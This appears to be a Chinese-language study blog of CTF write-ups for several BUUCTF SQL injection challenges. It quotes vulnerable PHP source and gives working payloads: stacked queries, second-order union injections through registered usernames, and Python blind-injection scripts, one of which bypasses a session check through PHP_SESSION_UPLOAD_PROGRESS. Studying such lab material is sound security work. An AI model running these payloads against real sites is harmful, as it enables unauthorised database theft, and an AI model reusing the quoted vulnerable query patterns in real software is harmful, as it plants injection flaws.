记录一下遇到的SQL注入题目解题步骤,方便以后复习
BUUCTF
这一部分是BUUCTF上面的题目,难度较大
BUU SQL COURSE 1
- 首页
- 点击登录按钮
账号密码都测试了,发现没有可用的注入点,查大佬的wp发现注入点不在这里
发现注入点url/backend/content_detail.php?id=1
,直接使用sqlmap进行注入,没有什么过滤
最后在news.admin
里获取到admin
的密码,到登录页面登录,就可以得到flag
总结
这道题难度在于注入点的发现,不一定只有登录框才有注入点,以后多注意
[SUCTF 2019]EasySQL
输入1
输入2
输入100
输入0
发现当输入的数大于1时,结果都是Array ( [0] => 1 )
,输入为0时没有回显,应该是要使用布尔盲注
布尔盲注
测试了一下发现and/or
被过滤了,尝试用^
来注入
输入0^1
和0^0
可以使用,先手工试一下0^(ascii(substr((select database()),1,1))>1)
too long
,没办法使用
报错注入
尝试报错注入
0^(updatexml(1,concat(0x7e,database(),0x7e),1))
发现是updatexml
被检测,extractvalue
也被检测了,报错注入不可行
堆叠注入
sqli-labs
里面学过堆叠注入,这里尝试一下
`1;show databases;`
发现有效果,得到数据库,再查表
`1;show tables;`
得到表Flag
,最后查列名
1;show columns from Flag;
结果报NONONO
,发现是from
被检测,堆叠查询失败
解法一
我们不可能知道查询语句的代码,只能猜测,一般有两种类型
select [input] from table;
or
select username from table where id=[input];
这道题应该是
select [input]||0 from Flag;
or
select id from Flag where id=[input]||0;
如果是select [input]||0 from Flag;
,我们输入*,0
,查询语句变成了select *,0 from Flag;
这道题试一下
成功了
解法二
先放payload
1;set sql_mode=pipes_as_concat;select 1;
set sql_mode=pipes_as_concat
的作用是将||
视为字符串的连接操作符而非或运算符,相当于concat()
,比如1||flag
会变成concat(1,'flag')
这道题的查询语句代码是select [input]||0 from Flag;
,我们输入payload
后变成了下面的代码
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
select 1||flag from Flag
就是select concat(1,flag) from Flag
总结
上面两种解法都是在猜测查询数据的代码,要求有开发经验才能想的到,也算增长了见识
October 2019 Twice SQL Injection
源码分析
?action=login
if (isset($_POST['username']))
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$res = query("select * from users where username='{$username}' and password='{$password}';");
if ($res)
$_SESSION['username'] = $res['username'];
跳转到index页面
- 登录账号被过滤了,密码进行了md5加密
?action=reg
if (isset($_POST['username']) && $_POST['username'] != "")
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")
if(sql语句执行成功)
跳转到login界面
else
提示注册失败
注册账号被过滤,密码进行md5加密没然后插入到数据库中
?action=change
if (isset($_POST['info']))
$info = addslashes($_POST['info']);
mysql_query("update users set info='{$info}' where username='{$_SESSION['username']}';")
if(sql语句执行成功)
跳转到index界面
else
提示修改失败
info被过滤,然后插入到数据库
?action=index
$info = query("select info from users where username='{$_SESSION['username']}';");
输出$info
$_SESSION['username']
没有经过过滤就插入到数据库,存在诸如点
思路
可利用的注入点就是
index
页面,要构造$_SESSION['username']
$_SESSION['username']
等于login
页面的$res['username']
,也就是登录账号,所以我们只需要构造登录账号通过注册来构造可注入的账号
解题
爆库
注册,用户名为1' union select database()#
用此账号登录
得到数据库ctftrining
爆表
注册,用户名为1' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
然后用此账号登录
得到ctftrining
中的表flag,news,users
爆flag
注册,用户名为1' union select * from ctftraining.flag#
然后用此账号登录
得到flag
总结
遇到可以注册的地方就可以考虑二次注入了,分析好代码逻辑,找到没有过滤的参数,其实不难
[PwnThyBytes 2019]Baby_SQL
给了源码,先分析源码
index.php
//开启session
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
//根据你是登录还是注册,include(对应的php文件)
function filter($value)
{
//addslashes过滤
return addslashes($value);
}
login.php
//先判断是否有session
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
//执行sql语句,username和password来自index.php页面,经过了过滤
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
if(sql语句查询成功)
die('<meta http-equiv="refresh" content="0; url=?p=home" />')
else
die('Try again!')
register.php
//先判断是否有session
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
//一些过滤
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
//sql语句
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
if(sql语句查询成功)
die("The user was created successfully!")
else
die("Error!")
通过分析发现,虽然login.php
文件没有对username
和password
进行过滤,但是它们在index.php
页面经过了过滤,然后传入了login.php
我们肯定想能不能直接往login.php
传入参数而不经过index.php
,也就是绕过index.php
看index.php
的一行代码
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
这行代码判断了有没有session
,而session
是通过index.php
的session_start()
开启的,就是说通过index页面才能访问到login页面
思考:能不能自己开启session而不需要index.php
的session_start()
PHP_SESSION_UPLOAD_PROGRESS
PHP_SESSION_UPLOAD_PROGRESS
介绍
也就是说在上传文件的时候以POST
方式传入PHP_SESSION_UPLOAD_PROGRESS
,PHP会执行session_start()
,开启一个会话
原理懂了直接看脚本
import requests
import time
url = "http://fbcc63a9-6ed1-4eb6-9d06-e07235835916.node4.buuoj.cn:81/templates/login.php"
mark = '<meta http-equiv="refresh" content="0; url=?p=home" />'
files={'file':123}
start = time.time()
result = ""
for i in range(1, 50): # 字符长度
min_value = 32
max_value = 130
while min_value < max_value:
mid = (min_value + max_value) // 2
if mid == min_value:
mid = mid + 1
break
param = '?username=1" or (ascii(substr((select group_concat(secret) from flag_tbl),{},1))>{})%23'.format(i,mid)
final_url = url + param
html = requests.post(url=final_url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHPSESSID": "test1"})
if mark in html.text:
min_value = mid
else:
max_value = mid
result += chr(mid)
print(result)
总结
学习了通过PHP_SESSION_UPLOAD_PROGRESS
来开启session
[GYCTF2020]Ezsqli
输入1和0,发现页面回显不同,可以尝试布尔盲注
测试发现or
被禁用了,所以information
不能使用,这样就没法查表名了
查资料发现sys.schema_table_statistics_with_buffer
可以替代information_schema.tables
查表名
0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)
查列名
information
不能使用,所以不能查列名,需要使用无列名注入
无列名注入
无列名注入就是直接猜数据,用到的知识是两个字符串的大小比较
mysql> select (select 'b')>(select 'a');
+---------------------------+
| (select 'b')>(select 'a') |
+---------------------------+
| 1 |
+---------------------------+
mysql> select (select 'b')>(select 'abcd');
+------------------------------+
| (select 'b')>(select 'abcd') |
+------------------------------+
| 1 |
+------------------------------+
mysql> select (select 'ab')>(select 'a');
+----------------------------+
| (select 'ab')>(select 'a') |
+----------------------------+
| 1 |
+----------------------------+
比较的规则就是一个一个字符比较,如果第一个字符就能比出大小,就不用看后面的字符了,如果不能比出大小就继续比后面的字符
- 直接放脚本
import requests
url = "http://d4d672ad-54d1-47e3-85ad-d52c222d0afe.node4.buuoj.cn:81/index.php"
result = ""
mark = "Nu1L"
for n in range(200):
for i in range(32, 127):
s = result + chr(i)
data = {"id": "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(s)}
re = requests.post(url=url, data=data)
if mark in re.text:
result += chr(i-1)
break
print(result)
总结
主要用到了无列名注入,以后就可以在不知道列名的情况下注入了